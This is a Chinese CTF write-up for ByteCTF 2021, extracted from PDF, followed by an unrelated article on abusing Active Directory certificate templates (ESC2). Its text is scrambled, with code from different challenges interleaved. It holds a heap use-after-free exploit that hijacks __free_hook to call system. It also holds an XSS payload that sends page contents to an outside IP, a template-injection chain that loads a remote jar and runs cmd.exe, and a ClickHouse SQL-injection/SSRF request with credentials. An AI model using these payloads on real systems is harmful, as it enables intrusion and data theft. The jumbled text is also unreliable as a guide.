把被选的free掉, 然后再次进⼊ manage直接修改就可以UAF 题⽬虽然没有直接提供free, 但是在unordered_map中如果下标相同, 那么就会释放原来的, 从⽽有⼀个free <script> document.cookie="x=<img src='x' onerror=eval(window.atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8zOS4xMDIuNTUuMTkxOjg4ODcvP 2Nvb2tpZT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5vdXRlckhUTUwp Ow=='))>"; setTimeout(function() { location.href = 'intent:{{ name }}'; }, 1000 * 40); </script> from pwn import * # s = process("./bytezoom") s = remote("39.105.103.24","30012") def create(typex,idx,name,age): s.sendlineafter("choice:","1") s.sendlineafter("cat or dog?",typex) s.sendlineafter("input index:",str(idx)) s.sendlineafter("name:",name) s.sendlineafter("age:",str(age)) def show(typex,idx): s.sendlineafter("choice:","2") s.sendlineafter("cat or dog?",typex) s.sendlineafter("input index:",str(idx)) def manage(): s.sendlineafter("choice:","3") def select(typex,idx): s.sendlineafter("choice:","1") s.sendlineafter("cat or dog?",typex) s.sendlineafter("index:",str(idx)) def changeAge(typex,age): s.sendlineafter("choice:","2") s.sendlineafter("cat or dog?",typex) s.sendlineafter("Enter the number of years you want to add",str(age)) def changeName(typex,name): s.sendlineafter("choice:","3") s.sendlineafter("at or dog?",typex) s.sendlineafter("please input new name:",name) def manage_exit(): s.sendlineafter("choice:","4") create('dog',0,'a'*0x100,100) manage() select('dog',0) manage_exit() create('dog',0,'bbbb',100) create('cat',0,'b'*0x20,100) manage() select('cat',0) changeAge('dog',0x40) manage_exit() show('cat',0) s.recvuntil("name:") heap = u64(s.recv(8))-0x12e50 success(hex(heap)) create('cat',1,'c'*0x500,100) create('cat',2,'c'*0x20,100) create('cat',1,'cccc',100) manage() changeAge('dog',0x400) changeAge('dog',0x50) manage_exit() show('cat',0) libc = ELF("./libc-2.31.so") libc.address = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x1eb000-0x10b0 success(hex(libc.address)) create('cat',3,'/bin/sh\x00'+'f'*0xf8,100) create('cat',4,'g'*0x100,100) manage() changeAge('dog',0x400) changeAge('dog',0x400) changeAge('dog',0xe8) changeName('cat',p64(libc.sym['__free_hook'])) select('cat',4) changeName('cat',p64(libc.sym['system'])) manage_exit() create('cat',3,'/bin/sh\x00',100) # gdb.attach(s) Reverse languages binding 通过readfile和硬件断点来到这⾥,发现对⽂件先做整体异或0x55 通过字符串发现使⽤了⼀个叫luago的库 找了下,和这个库函数名对的上:https://github.com/yuin/gopher-lua 看上个target: 拿23,14,6,0x1ff为⽬标魔数,通过⼆进制搜索,发现疑似函数 0x4D5DC0 并顺着xref找到了opcode的定义0x525540 s.interactive() .text:0000000000501FDD movzx r8d, byte ptr [rax+rdx] .text:0000000000501FE2 xor r8d, 55h .text:0000000000501FE6 mov [rax+rdx], r8b .text:0000000000501FEA inc rdx .text:0000000000501FED cmp rbx, rdx .text:0000000000501FF0 jg short loc_501FDD func (instr Instruction) ABC() (a, b, c int) { a = int(instr >> 6 & 0xFF) c = int(instr >> 14 & 0x1FF) b = int(instr >> 23 & 0x1FF) return } .data:0000000000525540 opcode Opcode <0, 1, 2, 0, 0, 0, offset aNonname, 7, offset off_55BE00> .data:0000000000525540 Opcode <0, 0, 1, 1, 0, 0, offset aNonname, 7, offset off_55BDA0> ; "NONNAME" .data:0000000000525540 Opcode <1, 1, 2, 1, 0, 0, offset aNonname, 7, offset off_55BDF0> .data:0000000000525540 Opcode <0, 1, 1, 0, 1, 0, offset aNonname, 7, offset off_55BCD8> .data:0000000000525540 Opcode <0, 1, 0, 0, 1, 0, offset aNonname, 7, offset off_55BD48> .data:0000000000525540 Opcode <0, 1, 2, 0, 2, 0, offset aNonname, 7, offset off_55BDE0> .data:0000000000525540 Opcode <0, 1, 1, 1, 0, 0, offset aNonname, 7, offset off_55BD80> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BDC8> .data:0000000000525540 Opcode <0, 0, 3, 3, 0, 0, offset aNonname, 7, offset off_55BDB0> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BCA8> .data:0000000000525540 Opcode <0, 1, 1, 1, 0, 0, offset aNonname, 7, offset off_55BDE8> .data:0000000000525540 Opcode <0, 0, 1, 0, 0, 0, offset aNonname, 7, offset off_55BDB8> .data:0000000000525540 Opcode <0, 0, 1, 1, 3, 0, offset aNonname, 7, 0> .data:0000000000525540 Opcode <0, 1, 1, 3, 0, 0, offset aNonname, 7, offset off_55BD08> .data:0000000000525540 Opcode <0, 1, 2, 0, 0, 0, offset aNonname, 7, offset off_55BD30> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BDD0> .data:0000000000525540 Opcode <0, 1, 1, 1, 0, 0, offset aNonname, 7, offset off_55BD40> .data:0000000000525540 Opcode <0, 0, 0, 1, 0, 0, offset aNonname, 7, offset off_55BDD8> .data:0000000000525540 Opcode <0, 1, 1, 0, 0, 0, offset aNonname, 7, offset off_55BD58> .data:0000000000525540 Opcode <0, 1, 2, 0, 2, 0, offset aNonname, 7, offset off_55BD00> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BDC0> .data:0000000000525540 Opcode <1, 0, 0, 1, 0, 0, offset aNonname, 7, offset off_55BDF8> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BCC8> .data:0000000000525540 Opcode <1, 0, 3, 3, 0, 0, offset aNonname, 7, offset off_55BD60> .data:0000000000525540 Opcode <0, 1, 1, 1, 0, 0, offset aNonname, 7, offset off_55BCD0> .data:0000000000525540 Opcode <0, 1, 2, 0, 0, 0, offset aNonname, 7, offset off_55BD88> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BCC0> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BD78> .data:0000000000525540 Opcode <0, 0, 3, 3, 0, 0, offset aNonname, 7, offset off_55BDA8> .data:0000000000525540 Opcode <1, 0, 3, 3, 0, 0, offset aNonname, 7, offset off_55BCF0> .data:0000000000525540 Opcode <0, 1, 2, 0, 0, 0, offset aNonname, 7, offset off_55BD70> .data:0000000000525540 Opcode <0, 0, 2, 0, 2, 0, offset aNonname, 7, offset off_55BD28> 对应的源码可以参考上述仓库中 vm/opcodes.go 还原出来的op顺序: .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BD20> .data:0000000000525540 Opcode <0, 1, 2, 3, 0, 0, offset aNonname, 7, offset off_55BD10> .data:0000000000525540 Opcode <0, 1, 2, 2, 0, 0, offset aNonname, 7, offset off_55BCE0> .data:0000000000525540 Opcode <0, 1, 1, 0, 0, 0, offset aNonname, 7, offset off_55BD18> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BD90> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BD68> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BCE8> .data:0000000000525540 Opcode <0, 1, 2, 0, 0, 0, offset aNonname, 7, offset off_55BCB8> .data:0000000000525540 Opcode <0, 1, 2, 3, 0, 0, offset aNonname, 7, offset off_55BD98> .data:0000000000525540 Opcode <1, 0, 3, 3, 0, 0, offset aNonname, 7, offset off_55BD38> .data:0000000000525540 Opcode <0, 0, 1, 0, 0, 0, offset aNonname, 7, offset off_55BCA0> .data:0000000000525540 Opcode <0, 1, 2, 0, 2, 0, offset aNonname, 7, offset off_55BCF8> .data:0000000000525540 Opcode <0, 1, 1, 0, 0, 0, offset aNonname, 7, offset off_55BE08> .data:0000000000525540 Opcode <0, 1, 3, 0, 1, 0, offset aNonname, 7, offset off_55BD50> .data:0000000000525540 Opcode <0, 1, 3, 3, 0, 0, offset aNonname, 7, offset off_55BCB0> 00000000 Opcode struc ; (sizeof=0x20, mappedto_27) 00000000 ; XREF: .data:opcode/r 00000000 testFlag db ? 00000001 setAFlag db ? 00000002 argBMode db ? 00000003 argCMode db ? 00000004 opMode db ? 00000005 __dummy db 3 dup(?) 00000008 name dq ? ; offset 00000010 name_len dq ? 00000018 fptr dq ? ; offset 00000020 Opcode ends 00000020 ⽤开源⼯具luadec尝试反编译 OP_UNM OP_SETLIST OP_TESTSET OP_CLOSURE OP_LOADKX OP_TFORLOOP OP_NEWTABLE OP_SHR OP_SETTABLE OP_ADD OP_TAILCALL OP_SETUPVAL OP_EXTRAARG OP_GETTABUP OP_LEN OP_SUB OP_LOADBOOL OP_TFORCALL OP_LOADNIL OP_FORPREP OP_SHL OP_TEST OP_BXOR OP_LT OP_CALL OP_NOT OP_BOR OP_MUL OP_SETTABUP OP_EQ OP_MOVE OP_JMP OP_IDIV OP_GETTABLE OP_CONCAT OP_GETUPVAL OP_POW OP_MOD OP_DIV OP_BNOT OP_SELF OP_LE OP_RETURN OP_FORLOOP OP_VARARG OP_LOADK OP_BAND 先⽤luaopswap,创建如下swap.txt MOVE UNM LOADK SETLIST LOADKX TESTSET LOADBOOL CLOSURE LOADNIL LOADKX GETUPVAL TFORLOOP GETTABUP NEWTABLE GETTABLE SHR SETTABUP SETTABLE SETUPVAL ADD SETTABLE TAILCALL NEWTABLE SETUPVAL SELF EXTRAARG ADD GETTABUP SUB LEN MUL SUB MOD LOADBOOL POW TFORCALL DIV LOADNIL IDIV FORPREP BAND SHL BOR TEST BXOR BXOR SHL LT SHR CALL UNM NOT BNOT BOR NOT MUL LEN SETTABUP CONCAT EQ JMP MOVE EQ JMP LT IDIV LE GETTABLE TEST CONCAT TESTSET GETUPVAL CALL POW TAILCALL MOD RETURN DIV FORLOOP BNOT FORPREP SELF TFORCALL LE TFORLOOP RETURN SETLIST FORLOOP CLOSURE VARARG VARARG LOADK EXTRAARG BAND 之后直接⽤luadec反汇编 -- Decompiled using luadec 2.2 rev: 895d923 for Lua 5.3 from https://github.com/viruscamp/luadec -- Command line: luaopswap.luac -- params : ... -- function num : 0 , upvalues : _ENV print("input flag:") flag = (io.read)() if #flag ~= 29 then -- ⻓度29 print("flag is wrong") return end lst = {100, 120, 133} dict = {[9] = 101, [10] = 122} ad = function(a, b) -- function num : 0_0 return a + b end mul = function(a, b) -- function num : 0_1 return a * b end check2 = function(f) -- _ymz7fm0dfx -- function num : 0_2 , upvalues : _ENV if (string.byte)(f, 18) + 11 ~= 106 then -- _ return false elseif (string.byte)(f, 19) ~= lst[1] + 21 then -- y return false elseif (string.byte)(f, 20) ~= dict[9] + 8 then -- m return false elseif (string.byte)(f, 21) ~= ad(100, 22) then -- z return false elseif (string.byte)(f, 22) ~= 55 then -- 7 return false elseif (string.byte)(f, 23) ~= mul(51, 2) then -- f return false elseif (string.byte)(f, 24) - 1 ~= 108 then -- m return false elseif (string.byte)(f, 25) ~= 48 then -- 0 return false elseif (string.byte)(f, 26) ~= 100 then -- d return false elseif (string.byte)(f, 27) ~= 102 then -- f return false elseif (string.byte)(f, 28) ~= 120 then -- x 发现对函数 0x00000000004D5DC0 下断,⾛到 0x00000000004D5E5E 时输⼊会出现在寄存器中,尝试对输⼊的字 符串未知部分下硬件断点。 通过⼀个拷⻉后对拷⻉值再下硬件断点。 最后发现在 0x00000000004E8DFE 处被使⽤。 这个函数的开头在stack中放⼊了⼀个字符串: return false end do return true end -- DECOMPILER ERROR: 22 unprocessed JMP targets end check3 = function(f) -- function num : 0_3 , upvalues : _ENV if (string.byte)(f, 1) ~= 66 then -- B return false elseif (string.byte)(f, 2) ~= 121 then -- y return false elseif (string.byte)(f, 3) ~= 116 then -- t return false elseif (string.byte)(f, 4) ~= 101 then -- e return false elseif (string.byte)(f, 5) ~= 67 then -- C return false elseif (string.byte)(f, 6) ~= 84 then -- T return false elseif (string.byte)(f, 7) ~= 70 then -- F return false elseif (string.byte)(f, 8) ~= 123 then -- { return false elseif (string.byte)(f, 29) ~= 125 then -- } return false end do return true end -- DECOMPILER ERROR: 18 unprocessed JMP targets end local flag1 = _(flag) local flag2 = check2(flag) local flag3 = check3(flag) if not not flag1 or flag2 or flag3 then print("flag is right") elseif true then print("flag is wrong") end 之后理解⼀下判断逻辑: 解密如下,得到 1golcwm6q 从⽽得到最终flag: ByteCTF{1golcwm6q_ymz7fm0dfx} .text:00000000004E8DA2 050 mov rcx, 39637A6F67656E39h .text:00000000004E8DAC 050 mov [rsp+50h+var_32], rcx .text:00000000004E8DB1 050 mov [rsp+50h+var_2A], 6A61h .text:00000000004E8DDB 050 mov ecx, 8 .text:00000000004E8DE0 050 mov edx, 1 .text:00000000004E8DE5 050 jmp short loc_4E8DEA .text:00000000004E8DE7 ; ---------------------------------------------------------- ----------------- .text:00000000004E8DE7 .text:00000000004E8DE7 loc_4E8DE7: ; CODE XREF: AXjIVygOebTSlrNJffL+83↓j .text:00000000004E8DE7 ; AXjIVygOebTSlrNJffL+87↓j .text:00000000004E8DE7 050 inc rcx .text:00000000004E8DEA .text:00000000004E8DEA loc_4E8DEA: ; CODE XREF: AXjIVygOebTSlrNJffL+65↑j .text:00000000004E8DEA 050 cmp rcx, 11h .text:00000000004E8DEE 050 jge short loc_4E8E09 .text:00000000004E8DF0 050 movzx esi, [rsp+rcx+50h+var_3A] .text:00000000004E8DF5 050 cmp rbx, rcx .text:00000000004E8DF8 050 jbe short loc_4E8E2D .text:00000000004E8DFA 050 movzx edi, byte ptr [rax+rcx] .text:00000000004E8DFE 050 xor edi, ecx .text:00000000004E8E00 050 cmp sil, dil .text:00000000004E8E03 050 jz short loc_4E8DE7 .text:00000000004E8E05 050 xor edx, edx .text:00000000004E8E07 050 jmp short loc_4E8DE7 a=bytearray(b'9negozc9a') ans2=bytearray() for i in range(len(a)): c = a[i] ans2.append(c^(8+i)) print(ans2) moderncpp c++ 逆向 1.输⼊ flag 变换 ⼆进制映射,对应关系爆破提取⼀下就⾏ 2.tea,位于 4024A4 内调⽤ tea 密钥[0x6F6D657E, 0x77656C63, 0x2D637466, 0x62797465] {'b': '00001', 'y': '10011', 't': '11000', 'e': '0011010', 'c': '01110', 'f': '010010', '{': '10001', '0': '1110010', '1': '100100', '2': '111111', '3': '01101', '4': '11010', '5': '11110111', '6': '001100', '7': '111010', '8': '00111', '9': '10101', 'a': '100101', 'd': '11011', 'g': '111011', 'h': '01000', 'i': '10110', 'j': '00110111', 'k': '1111010', 'l': '110010', 'm': '00011', 'n': '10000', 'o': '10100011101', 'p': '0110011', 'q': '011000', 'r': '111110', 's': '01011', 'u': '11110110', 'v': '000001', '}': '1010001111', 'w': '111000', 'x': '00101', 'z': '101000110', '_': '01010', '(': '010011', ')': '111100', '#': '101001', '@': '1110011', '!': '00110110', '%': '00010', '^': '01111', '&': '10100011100', '*': '0110010', '-': '10100010', '=': '000000', '+': '10111', ';': '1010000'} 脚本 # bytectf{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} # H4ckingT0Th3Gate # 00001 # 1011 0x74 -> 1101 # 11000 , 000011 -> 11000 # 001101, -> 001101 # 01110, 0000110011110000011010 -> 01110 # 00001, # bytectf{66AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA} # bytectf{6qq66666666666666666666666666666} # 6qq6byte666666666666666666666666666666666 # 00001 10011 11000 001101 01110 # 00001 10011 11000 001101 01110 # 00001100 -> 00001100 # 11110000 -> 11110000 # 0CF069D84A2618618618618618618618618618618618618618618618619478 # 00001 b # 10011 y # 11000 t # 001101 e # 01110 c # 11000 t # 010010 f # 10001 { # 001100 6 # 011000 q # 011000 q # 001100 6 # 001100 6 # bytectf{0123456789abcdefghijklmnopqrstuv} # bytectf{wxyz0000000000000000000000000000} # bytectf{wxyz000000000000000000000000000_} # bytectf{wxyz000000000000000000000000000(} # bytectf{wxyz000000000000000000000000000)} # bytectf{wxyz000000000000000000000000000~} # bytectf{wxyz000000000000000000000000000~} import ctypes from pwn import * import binascii def tea_enc(data): key = [0x6F6D657E, 0x77656C63, 0x2D637466, 0x62797465] delta = 0x9E3779B9 enc_data = b'' for i in range(len(data) // 8): part_data = data[8 * i: 8 * (i + 1)] val1 = ctypes.c_uint32(u32(part_data[0:4])) val2 = ctypes.c_uint32(u32(part_data[4:8])) sum = ctypes.c_uint32(0) for n in range(32): sum.value += delta val1.value += (val2.value + sum.value) ^ (16 * val2.value + key[3]) ^ ((val2.value >> 5) + key[2]) val2.value += (val1.value + sum.value) ^ (16 * val1.value + key[1]) ^ ((val1.value >> 5) + key[0]) enc_data += p32(val1.value) enc_data += p32(val2.value) return enc_data def tea_dec(data): key = [0x6F6D657E, 0x77656C63, 0x2D637466, 0x62797465] delta = 0x9E3779B9 enc_data = b'' for i in range(len(data) // 8): part_data = data[8 * i: 8 * (i + 1)] val1 = ctypes.c_uint32(u32(part_data[0:4])) val2 = ctypes.c_uint32(u32(part_data[4:8])) sum = ctypes.c_uint32(0xc6ef3720) for n in range(32): val2.value -= (val1.value + sum.value) ^ (16 * val1.value + key[1]) ^ ((val1.value >> 5) + key[0]) val1.value -= (val2.value + sum.value) ^ (16 * val2.value + key[3]) ^ ((val2.value >> 5) + key[2]) sum.value -= delta enc_data += p32(val1.value) enc_data += p32(val2.value) return enc_data r = tea_enc(binascii.a2b_hex("0CF069D84A261861861861861861861861861861861861861861861861947 800")) print("enc:", binascii.b2a_hex(r)) rr = tea_dec(r) print(binascii.b2a_hex(rr)) # 9F66D3C51A1717B9197BB3B45F0CE80A7F30808D802852218905D834D1836CDE r = tea_dec(binascii.a2b_hex("9F66D3C51A1717B9197BB3B45F0CE80A7F30808D802852218905D834D1836 CDE1836B759355DE6C6")) t1 = 'bytectf{0123456789abcdefghijklmnopqrstuv}' d1="""00001 10011 11000 0011010 01110 11000 010010 10001 1110010 100100 111111 01101 11010 11110111 001100 111010 00111 10101 100101 00001 01110 11011 0011010 010010 111011 01000 10110 00110111 1111010 110010 00011 10000 10100011101 0110011 011000 111110 01011 11000 11110110 000001 1010001111""" t2="bytectf{wxyz0000000000000000000000000000}" d2 = """00001 10011 11000 0011010 01110 11000 010010 10001 111000 00101 10011 101000110 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1110010 1010001111""" mapping = {} for c in range(len(t1)): mapping[t1[c]] = d1.splitlines()[c] for c in range(len(t2)): mapping[t2[c]] = d2.splitlines()[c] mapping['_'] = '01010' mapping['('] = '010011' mapping[')'] = '111100' mapping['#'] = '101001' mapping['@'] = '1110011' mapping['!'] = '00110110' mapping['%'] = '00010' mapping['^'] = '01111' mapping['&'] = '10100011100' mapping['*'] = '0110010' mapping['-'] = '10100010' mapping['='] = '000000' mapping['+'] = '10111' mapping[';'] = '1010000' mapping['['] = '110011' mapping[']'] = '00100' print(mapping) r = "".join([bin(nn)[2:].rjust(8, "0") for nn in r if nn != 0]) flag = '' while len(r) > 0: find = 0 maxLen = 0 maxf = '' for k in mapping: if r.startswith(mapping[k]): 0x6d21 虽然前⾯⾮常多的运算,但是抓住关键的处理输⼊的地⽅ 中间这个malloc分配了⼀个space 然后后⾯⼀段,将输⼊的字符串的每个字符转换成四个字节之后存放到space中 if find == 0: maxLen = len(mapping[k]) maxf = k elif len(mapping[k]) > maxLen: maxLen = len(mapping[k]) maxf = k find += 1 # if find != 1: # print("error:", find) # break if find != 0: flag += maxf r = r[maxLen:] print(flag, find, r) else: print("nnnnnn:", flag, r) break # 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>? @[\\]^_`{|}~ # bytectf{wxyz000000000000000000000000000[} # bytectf{0000000000000000000000000000000C} print(r) 找到关键运算 分析出指令就是⼀些乘法和⼀些乘加指令,实现了矩阵乘法 通过这⾥从内存中取出的数据恢复出与输⼊矩阵相乘的矩阵: 然后找到最后的⽐较数据 # 固定矩阵 fixed = [[1, 1, 2, 3], [5, 8, 0xd, 0x15], [0x15, 0xd, 8, 5], [3, 2, 1, 1]] 写出脚本解⼀个简单矩阵乘法即可: Web Unsecure Blog 原本的enjoy模板引擎限制很⼤,想着⽤ScriptEngineManage执⾏代码,但是需要获取⼀个ScriptEngineManage 实例,newInstance被ban掉了,所以另寻他路 翻了⼀下依赖的jar包,最后在ehcache-core-2.6.11.jar⾥⾯找到⼀个ClassLoaderUtil,实现了⼀个public static Object createNewInstance(String className)⽅法,可以获取类实例。 可以执⾏js之后,⽤jmx绕过securityManager dst = [[0xD2C, 0xA3D, 0X9D9, 0xBF2], [0xB1C, 0x95C, 0xA12, 0xD1E], [0xB72, 0x93F, 0x957, 0xBCC], [0x55F, 0x559, 0x6DA, 0x9E1]] fixed = [[1, 1, 2, 3], [5, 8, 0xd, 0x15], [0x15, 0xd, 8, 5], [3, 2, 1, 1]] dst = [[0xD2C, 0xA3D, 0X9D9, 0xBF2], [0xB1C, 0x95C, 0xA12, 0xD1E], [0xB72, 0x93F, 0x957, 0xBCC], [0x55F, 0x559, 0x6DA, 0x9E1]] fixed = Matrix(ZZ, fixed) dst = Matrix(ZZ, dst) inp = dst * fixed^(-1) print(inp) x = '' for i in range(4): for j in range(4): x += chr(inp[i, j]) print(x) #set(sem=net.sf.ehcache.util.ClassLoaderUtil::createNewInstance('javax.script.ScriptEng ineManager',null,null))#set(eng=sem.getEngineByExtension('js'))#(eng.eval("mLet = new javax.management.loading.MLet();mLet.addURL(new java.net.URL('http://42.192.136.148:8886/exp.jar'));mLet.loadClass('exp12').newInstance ();")) import java.io.IOException; double sqli 看报错是⼀个clickhouse,注⼊⼀波,在hint表中找到提示you_dont_have_permissions_to_read_flag 发现file⽬录可⽤穿越,在http://39.105.175.150:30001/files../var/lib/clickhouse/access/3349ea06-b1c1-514f-e 1e9-c8d6e8080f89.sql,下载到创建⽤户的sql 然后ssrf连接到8123端⼝,⽤获取到的帐号密码登录, GET /?id=1%20union%20all%20select%20%20from%20url(%27http://localhost:8123/?user=user_01%26passwor d=e3b0c44298fc1c149afb%26database=ctf%26query=SELECT%2520FROM%2520flag%27,%20%27CSV%27,%20 %27test%20String%27); HTTP/1.1 User-Agent: PostmanRuntime/7.28.4 Accept: / Postman-Token: 638e3b1b- c751-4666-9eaa-59dcdd08bece Host: 39.105.175.150:30001 Accept-Encoding: gzip, deflate Connection: close Misc import java.io.*; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Map; public class exp12 { public exp12() throws Exception{ try { String[] cmds = new String[]{"C:\\windows\\system32\\cmd.exe", "/c", "reg query HKEY_CURRENT_USER\\ByteCTF\\ /S >C:\\windows\\temp\\qiyou12345.txt"}; Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class); method.setAccessible(true); Process e = (Process) method.invoke(null, cmds, null, ".", null, true); byte[] bs = new byte[2048]; int readSize = 0; ByteArrayOutputStream infoStream = new ByteArrayOutputStream(); while ((readSize = e.getInputStream().read(bs)) > 0) { infoStream.write(bs, 0, readSize); } System.out.println(infoStream.toString()); } catch (Exception e) { e.printStackTrace(); } } } checkin 签到 Survey 问卷 HearingNotBelieving 频域 前段频谱隐写⼆维码,后⾯sstv-robot36隐写⼆维码,扫码拼接 Crypto JustDecrypt from pwn import * HOST = "39.105.115.244" POST = 30001 r = remote(HOST, POST) def proof_of_work(): rev = r.recvuntil("sha256(XXXX+") overhead suffix = r.recv(28).decode() rev = r.recvuntil(" == ") tar = r.recv(64).decode() def f(x): hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest() return hashresult == tar prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters, 4, 'upto') r.recvuntil("Give me XXXX >") r.sendline(prefix) proof_of_work() a = b"Hello, I'm a Bytedancer. Please give me the flag!" + b"\x0f"*15 b = b'' for i in range(50): r.recvuntil(b'Please enter your cipher in hex > ') data = b.hex()+'00'*(400-len(b)) r.sendline(data.encode()) r.recvuntil('Your plaintext in hex: ') data = r.recvline() data = r.recvline() data = bytes.fromhex(data.decode()) if i==0: b += bytes([data[-1]^a[0]]) else: b += bytes([data[i]^a[i]]) b = b[:-1] + b'\x00'*14 + bytes([data[63]^15]) r.recvuntil(b'Please enter your cipher in hex > ') data = b.hex() r.sendline(data) r.interactive() from pwn import remote from pwnlib.tubes.tube import * from hashlib import sha256 from Crypto.Util.number import * from tqdm import tqdm from sage.modules.free_module_integer import IntegerLattice import itertools r = remote('39.105.38.192', '30000') load("coppersmith.sage") p = 62606792596600834911820789765744078048692259104005438531455193685836606544743 g = 5 easyxor P.<x, y> = PolynomialRing(Zmod(p)) r.sendlineafter('$ ', '1') Alice = int(r.recvline().decode()) r.sendlineafter('$ ', '2') Bob = int(r.recvline().decode()) r.sendlineafter('$ ', '3') r.sendlineafter('To Bob: ', str(Alice**2)) s2 = int(r.recvline().decode()) r.sendlineafter('$ ', '3') r.sendlineafter('To Bob: ', str(Alice)) s1 = int(r.recvline().decode()) f = (s1+x)^2 - s2 - y res = small_roots(f, bounds=(2**64, 2**64), m=4) r.sendlineafter('$ ', '4') r.sendlineafter('secret: ', str(s1+res[0][0])) r.interactive() from Crypto.Util.number import * c = bytes.fromhex('89b8aca257ee2748f030e7f6599cbe0cbb5db25db6d3990d3b752eda9689e30fa2b03ee7 48e0da3c989da2bba657b912') cg = [] m0 = bytes_to_long(b'ByteCTF{') for i in range(6): cg.append(bytes_to_long(c[i * 8: (i + 1) * 8])) from Crypto.Util.number import bytes_to_long, long_to_bytes from random import randint, getrandbits def shift(m, k, c): if k < 0: return m ^ m >> (-k) & c return m ^ m << k & c def convert(m, key): c_list = [0x37386180af9ae39e, 0xaf754e29895ee11a, 0x85e1a429a2b7030c, 0x964c5a89f6d3ae8c] for t in range(4): m = shift(m, key[t], c_list[t]) return m ''' keys = [0]*4 for keys[0] in range(-32,33): for keys[1] in range(-32,33): for keys[2] in range(-32,33): for keys[3] in range(-32,33): cur_c = cg[0]^m0 cur_c = convert(cur_c,keys) m1 = cur_c ^ cg[1] cur_c = convert(cur_c,keys) m2 = cur_c ^ cg[2] front = long_to_bytes(m1)+long_to_bytes(m2) for k in front: if k not in range(32,127): break else: print(keys,front) ''' key = [-12, 26, -3, -31] front = b'BytesCTF{5831a241s-f30980' def encrypt(m, k, iv, mode='CBC'): assert len(m) % 8 == 0 num = len(m) // 8 groups = [] for i in range(num): groups.append(bytes_to_long(m[i * 8: (i + 1) * 8])) last = iv cipher = [] if mode == 'CBC': for eve in groups: cur = eve ^ last cur_c = convert(cur, k) cipher.append(cur_c) last = cur_c elif mode == 'OFB': for eve in groups: cur_c = convert(last, k) cipher.append(cur_c ^ eve) last = cur_c else: print('Not supported now!') return ''.join([hex(eve)[2:].strip('L').rjust(16, '0') for eve in cipher]) iv = 16476971533267772345 c1 = 10780708739817148043 c2 = 738617756395427640 c3 = 10936161096540945944 back = long_to_bytes(cg[3]^c2)+long_to_bytes(iv^c1)+long_to_bytes(cg[4]^c3) print(front+back)
pdf
针对域证书服务的攻击(2)- ESC2 0x00 前言 在ESC1的分析中我们遇到了一个问题,就是Certify这个工具带了2个DLL,很不方便,刚好今天看 twitter看到这么一个项目,https://github.com/CCob/dnMerge,使用NuGet搜dnMerge加入到项目 中,再release生成,就能编译成一个EXE了,很是简单。需要注意的就是只有release生成可以用, debug是不能用的。 第二件事是一个题外话,我由于本地网络问题,我环境域控修改了IP,导致域中机器Ping域控域名的时 候返回127.0.0.1。这是我没有按照正规流程修改域控IP,细节看https://www.huaweicloud.com/article s/a7f1f7d57357f9c62042707d09ae5f20.html,后面我按照正规流程修改,问题被修复。域中真的是不 能乱动,一点小改动就会出问题。这也是为什么域中很多就是默认设置,管理员不敢乱配置的原因吧。 回归今天的ESC2,ESC2和ESC1比较相似,大部分前提条件相同,具体条件如下: 低权限用户(我们这儿使用普通域用户)可以有权限注册证书 管理员审批被关闭 签名没有被要求认证 低权限用户可以使用危害模板 以上都是ESC1的条件,下面一条是和ESC1不同的: 证书模板被设置成Any Purpose EKU或者 no EKU 而在ESC1中开启CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT的要求就不需要了。 这种情况下我们能干什么呢?先搭建测试环境。 0x01 危害环境搭建 因为和ESC1的变化很小,因此我们直接复制ESC1模板,并改名为ESC2,然后修改应用程序策略为任何 目的 Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 1 / 4 - Welcome to www.red-team.cn 然后把ESC1的使用者名称改回默认值。 0x02 利用测试 我们还是使用ESC1的测试步骤,这里就不详细截图了(不记得的同学可以翻看ESC1的测试)。结果可想 而知: Produced by AttackTeamFamily - Author: L.N. - Date: 2021-08-08 No. 2 / 4 - Welcome to www.red-team.cn 由于我们使用者名称改回了默认值,即使在使用certify获取证书的时候使用了altname,并设定一个域 管理用户名。证书获取不会报错,但是这个证书并不能使用这个域管理登录,系统没有采纳altname的 值,而是使用当前用户win101709,如下图,“用Active Directory 中信息生成”。因此最后的结构就是 无法登录域控。 0x03 总结 所以这个ESC2,体感上作用太弱了。根据作者的描述,大致意思是,当使用Any Purpose的时候,表示 攻击者可以获取客户端认证、服务器认证、代码签名等等证书,换句话说就是能获取任何目的的证书。 然后作者就没说啥了,我想说这儿应该有个但是,但是TM的没有提权啊。不是说ESC都是提权么?我 win101709的用户权限没变啊,虽然由于错误配置,导致我这儿用户可以搞到各种证书,但是用户权限 